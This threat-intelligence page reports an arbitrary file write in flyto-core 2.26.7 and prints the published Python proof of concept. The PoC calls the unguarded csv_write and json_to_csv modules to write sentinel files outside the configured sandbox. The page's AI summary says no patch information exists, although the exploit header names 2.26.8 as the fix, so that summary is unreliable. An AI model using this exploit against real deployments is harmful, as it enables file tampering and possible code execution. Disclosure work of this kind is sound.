flyto-core 2.26.7 - Arbitrary File Write
flyto-core 2.26.7 - Arbitrary File Write
AI Analysis
Technical Summary
flyto-core versions up to and including 2.26.7 are vulnerable to an arbitrary file write flaw. This vulnerability enables an attacker to write files to arbitrary locations on the file system, potentially leading to further compromise. The exploit code has been published by the author 'Pig-Tail' and is implemented in Python. The vulnerability affects Linux deployments of flyto-core. No patch or remediation information is provided in the available data.
Potential Impact
Successful exploitation allows an attacker to write arbitrary files on the affected system, which could lead to code execution, privilege escalation, or system compromise depending on the context of the file write.
Mitigation Recommendations
Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. Until a fix is available, restrict access to the vulnerable flyto-core service and monitor for suspicious activity related to file writes.
Indicators of Compromise
- exploit-code: # Exploit Title: flyto-core 2.26.7 - Arbitrary File Write # Date: 2026-07-17 # Exploit Author: Pig-Tail (Jorge González Milla) # Vendor Homepage: https://github.com/flytohub/flyto-core # Software Link: https://github.com/flytohub/flyto-core # Version: flyto-core <= 2.26.7 (fixed 2.26.8; incomplete fix of GHSA-2956) # Tested on: Linux # CVE: N/A # Category: webapps # Full write-up & repo: https://github.com/Pig-Tail/security-research/tree/master/GHSA-p34x-fmph-9fjx-flyto-core data.csv_write / data.json_to_csv write caller-supplied paths without calling the validate_path_with_env_config() sandbox guard, escaping FLYTO_SANDBOX_DIR. Advisory: GHSA-p34x-fmph-9fjx. The PoC is a benign, local verification harness (sentinel-based; no network attack, no persistence, no destructive payload). Run against a local instance of the affected version. --- PoC (poc_arbitrary_write.py) --- """PoC: arbitrary file write via unguarded sibling write modules (incomplete fix of GHSA-2956). Run: FLYTO_SANDBOX_DIR is set to the intended confinement; the modules write OUTSIDE it.""" import os, sys, asyncio, tempfile # Point FLYTO_SRC at a local flyto-core checkout (the `src` dir). Defaults to ./flyto-core/src. FLYTO_SRC = os.environ.get("FLYTO_SRC", os.path.join(os.path.dirname(__file__), "flyto-core", "src")) sys.path.insert(0, FLYTO_SRC) _T = tempfile.mkdtemp(prefix="flyto_poc_") # The intended confinement dir; the write modules escape it. SBX = os.environ.setdefault('FLYTO_SANDBOX_DIR', os.path.join(_T, "sandbox")) os.makedirs(SBX, exist_ok=True) # Sentinel targets deliberately OUTSIDE the sandbox (a sibling temp dir, still local & benign). _OUTDIR = tempfile.mkdtemp(prefix="flyto_outside_") OUT = os.path.join(_OUTDIR, "flyto_PWNED_OUTSIDE.csv"); OUT2 = os.path.join(_OUTDIR, "flyto_PWNED_json.csv") from core.utils import validate_path_with_env_config, PathTraversalError try: validate_path_with_env_config(OUT); print("[guard] UNEXPECTED allow") except PathTraversalError: print("[guard] GHSA-2956 guard validate_path_with_env_config() REJECTS out-of-sandbox path") async def call(W, p): return await W(p, {}).execute() from core.modules.atomic.data.csv_write import csv_write from core.modules.atomic.data.json_to_csv import json_to_csv r1 = asyncio.run(call(csv_write, {'file_path': OUT, 'data':[{'pwn':'SENTINEL_CSV'}]})) r2 = asyncio.run(call(json_to_csv, {'input_data':[{'pwn':'SENTINEL_JSON'}], 'output_path': OUT2})) for tag,out in [('data.csv.write',OUT),('data.json_to_csv',OUT2)]: inside = os.path.realpath(out).startswith(os.path.realpath(SBX)) print(f"[{tag}] wrote={os.path.exists(out)} inside_sandbox={inside} -> {out}") ok = os.path.exists(OUT) and not os.path.realpath(OUT).startswith(os.path.realpath(SBX)) print("BUG CONFIRMED (arbitrary write outside sandbox)" if ok else "NOT CONFIRMED") print(" sample content:", open(OUT).read().strip())
flyto-core 2.26.7 - Arbitrary File Write
Description
flyto-core 2.26.7 - Arbitrary File Write
Affected software
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
flyto-core versions up to and including 2.26.7 are vulnerable to an arbitrary file write flaw. This vulnerability enables an attacker to write files to arbitrary locations on the file system, potentially leading to further compromise. The exploit code has been published by the author 'Pig-Tail' and is implemented in Python. The vulnerability affects Linux deployments of flyto-core. No patch or remediation information is provided in the available data.
Potential Impact
Successful exploitation allows an attacker to write arbitrary files on the affected system, which could lead to code execution, privilege escalation, or system compromise depending on the context of the file write.
Mitigation Recommendations
Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. Until a fix is available, restrict access to the vulnerable flyto-core service and monitor for suspicious activity related to file writes.
Technical Details
- Version
- flyto-core <= 2.26.7
- Author
- Pig-Tail
- Platform
- Linux
- Edb Id
- 52655
- Has Exploit Code
- true
- Code Language
- python
Indicators of Compromise
Exploit Source Code
Exploit code for flyto-core 2.26.7 - Arbitrary File Write
# Exploit Title: flyto-core 2.26.7 - Arbitrary File Write # Date: 2026-07-17 # Exploit Author: Pig-Tail (Jorge González Milla) # Vendor Homepage: https://github.com/flytohub/flyto-core # Software Link: https://github.com/flytohub/flyto-core # Version: flyto-core <= 2.26.7 (fixed 2.26.8; incomplete fix of GHSA-2956) # Tested on: Linux # CVE: N/A # Category: webapps # Full write-up & repo: https://github.com/Pig-Tail/security-research/tree/master/GHSA-p34x-fmph-9fjx-flyto-core data... (2435 more characters)
Threat ID: 6a848d66c6e8be03327c8929
Added to database: 08/18/2026, 16:50:46 UTC
Last enriched: 08/18/2026, 16:51:09 UTC
Last updated: 08/18/2026, 16:54:58 UTC
Views: 3
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
External Links
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.